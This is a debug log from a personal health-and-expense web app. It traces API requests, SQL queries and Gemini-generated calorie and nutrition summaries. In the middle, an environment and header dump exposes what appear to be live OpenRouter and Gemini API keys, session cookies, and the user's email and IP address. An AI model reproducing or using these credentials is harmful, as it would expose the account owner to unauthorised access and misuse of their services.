      'Multiple instances of milk tea throughout the day.',
      'Potential for higher protein intake at other meals.',
      'Carbohydrate sources could be more varied.'
    ],
    good_points: [
      'Inclusion of whey protein and egg whites for muscle support.',
      'Variety of vegetables and legumes in meals.',
      'Consistent early morning gym sessions.'
    ],
    suggestions: [
      'Prioritize water intake over multiple milk teas.',
      'Ensure protein is distributed across all main meals.',
      'Incorporate more whole grains and diverse vegetables.',
      'Consider a post-workout meal with a good balance of protein and carbohydrates.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T16:23:04.381Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T16:23:04.382Z server-connect:app Executing action step identify
2025-12-18T16:23:04.382Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:04.382Z server-connect:output identity: 1
2025-12-18T16:23:04.382Z server-connect:app Executing action step restrict
2025-12-18T16:23:04.382Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T16:23:04.384Z server-connect:output restrict: undefined
2025-12-18T16:23:04.384Z server-connect:app Executing action step processWithGemini
2025-12-18T16:23:04.384Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T16:23:06.277Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk',
      quantity: "1 glass (approx 200ml, assuming full-fat cow's milk)",
      calories_consumed: 124,
      total_calories: 124,
      protein: 6.6,
      carbs: 9.4,
      fat: 6.8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Milk is a good source of protein and calcium, beneficial for muscle development. Full-fat milk has more calories and fat, but can be fine in moderation for muscle gain. If aiming for lower fat, skim milk is an option.'
    }
  ],
  total_macros: {
    total_protein: 6.6,
    total_carbs: 9.4,
    total_fat: 6.8,
    unit: 'grams'
  }
}
2025-12-18T16:23:19.912Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T16:23:19.913Z server-connect:app Executing action step identify
2025-12-18T16:23:19.913Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:19.913Z server-connect:output identity: 1
2025-12-18T16:23:19.913Z server-connect:app Executing action step restrict
2025-12-18T16:23:19.913Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T16:23:19.914Z server-connect:output restrict: undefined
2025-12-18T16:23:19.914Z server-connect:app Executing action step condition
2025-12-18T16:23:19.914Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T16:23:19.914Z server-connect:app Executing action step repeat
2025-12-18T16:23:19.914Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T16:23:19.914Z server-connect:app Executing action step insert
2025-12-18T16:23:19.914Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T16:23:19.916Z server-connect:output calories: { affected: 1, identity: 445 }
2025-12-18T16:23:19.916Z server-connect:output repeat: [ {} ]
2025-12-18T16:23:19.916Z server-connect:output condition: undefined
2025-12-18T16:23:20.180Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T16:23:20.180Z server-connect:app Executing action step identify
2025-12-18T16:23:20.180Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:20.180Z server-connect:output identity: 1
2025-12-18T16:23:20.180Z server-connect:app Executing action step restrict
2025-12-18T16:23:20.180Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T16:23:20.183Z server-connect:output restrict: undefined
2025-12-18T16:23:20.183Z server-connect:router Render template layouts/main
2025-12-18T16:23:20.183Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T16:23:20.432Z server-connect:app Executing action step identify
2025-12-18T16:23:20.432Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:20.432Z server-connect:output identity: 1
2025-12-18T16:23:21.013Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T16:23:21.015Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T16:23:21.015Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T16:23:21.016Z server-connect:app Executing action step identify
2025-12-18T16:23:21.016Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:21.016Z server-connect:output identity: 1
2025-12-18T16:23:21.016Z server-connect:app Executing action step restrict
2025-12-18T16:23:21.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T16:23:21.016Z server-connect:app Executing action step identify
2025-12-18T16:23:21.016Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:21.016Z server-connect:output identity: 1
2025-12-18T16:23:21.016Z server-connect:app Executing action step restrict
2025-12-18T16:23:21.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T16:23:21.017Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T16:23:21.017Z server-connect:output restrict: undefined
2025-12-18T16:23:21.018Z server-connect:app Executing action step select
2025-12-18T16:23:21.018Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T16:23:21.018Z server-connect:app Executing action step identify
2025-12-18T16:23:21.018Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:21.018Z server-connect:output identity: 1
2025-12-18T16:23:21.018Z server-connect:app Executing action step restrict
2025-12-18T16:23:21.018Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:21.018Z server-connect:output restrict: undefined
2025-12-18T16:23:21.018Z server-connect:app Executing action step single
2025-12-18T16:23:21.018Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T16:23:21.019Z server-connect:output restrict: undefined
2025-12-18T16:23:21.019Z server-connect:app Executing action step single
2025-12-18T16:23:21.019Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T16:23:21.020Z server-connect:app Executing action step identify
2025-12-18T16:23:21.020Z server-connect:app options: { provider: 'security' }
2025-12-18T16:23:21.020Z server-connect:output identity: 1
2025-12-18T16:23:21.020Z server-connect:app Executing action step restrict
2025-12-18T16:23:21.020Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T16:23:21.021Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "The day's nutrition shows a good inclusion of protein sources, particularly from the whey protein and egg whites, supporting muscle development goals. The meal composition includes a variety of vegetables and legumes, contributing to overall nutrient intake. However, the frequency of milk tea, even without sugar, could be reviewed for optimal hydration and nutrient absorption. Continued adherence to this pattern may lead to gradual progress.",
    bad_points: [
      'Multiple instances of milk tea throughout the day.',
      'Potential for higher protein intake at other meals.',
      'Carbohydrate sources could be more varied.'
    ],
    good_points: [
      'Inclusion of whey protein and egg whites for muscle support.',
      'Variety of vegetables and legumes in meals.',
      'Consistent early morning gym sessions.'
    ],
    suggestions: [
      'Prioritize water intake over multiple milk teas.',
      'Ensure protein is distributed across all main meals.',
      'Incorporate more whole grains and diverse vegetables.',
      'Consider a post-workout meal with a good balance of protein and carbohydrates.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T16:23:21.021Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T16:23:21.022Z server-connect:output restrict: undefined
2025-12-18T16:23:21.022Z server-connect:app Executing action step single
2025-12-18T16:23:21.022Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T16:23:21.024Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T16:23:21.025Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T16:23:21.026Z server-connect:app Executing action step select
2025-12-18T16:23:21.026Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T16:23:21.027Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  },
  {
    id: 438,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-18T05:44:50.000Z',
    skip_level: 1,
    skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
  },
  {
    id: 439,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea,Skim milk tea',
    created_at: '2025-12-18T09:41:14.000Z',
    skip_level: 1,
    skip_reason: "Generally good, especially without sugar. Provides some protein and calcium from milk. For muscle development, it's a decent beverage."
  },
  {
    id: 440,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Hari Matar Dal',
    calories: 170,
    protein_gm: 12,
    carbs_gm: 30,
    fat_gm: 2,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Lentil soup (thinner consistency),Moong Dal (slightly lower calorie),Mixed vegetable dal (more fiber, less dal)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of plant-based protein and fiber, good for muscle development.'
  },
  {
    id: 441,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 43,
    fat_gm: 0,
    quantity: '1 bowl (approx 150g cooked)',
    replacements: 'Brown rice (more fiber, slightly fewer net carbs),Quinoa (higher protein, more fiber),Cauliflower rice (significantly lower calorie and carbs)',
    created_at: '2025-12-18T09:42:35.000Z',
    skip_level: 2,
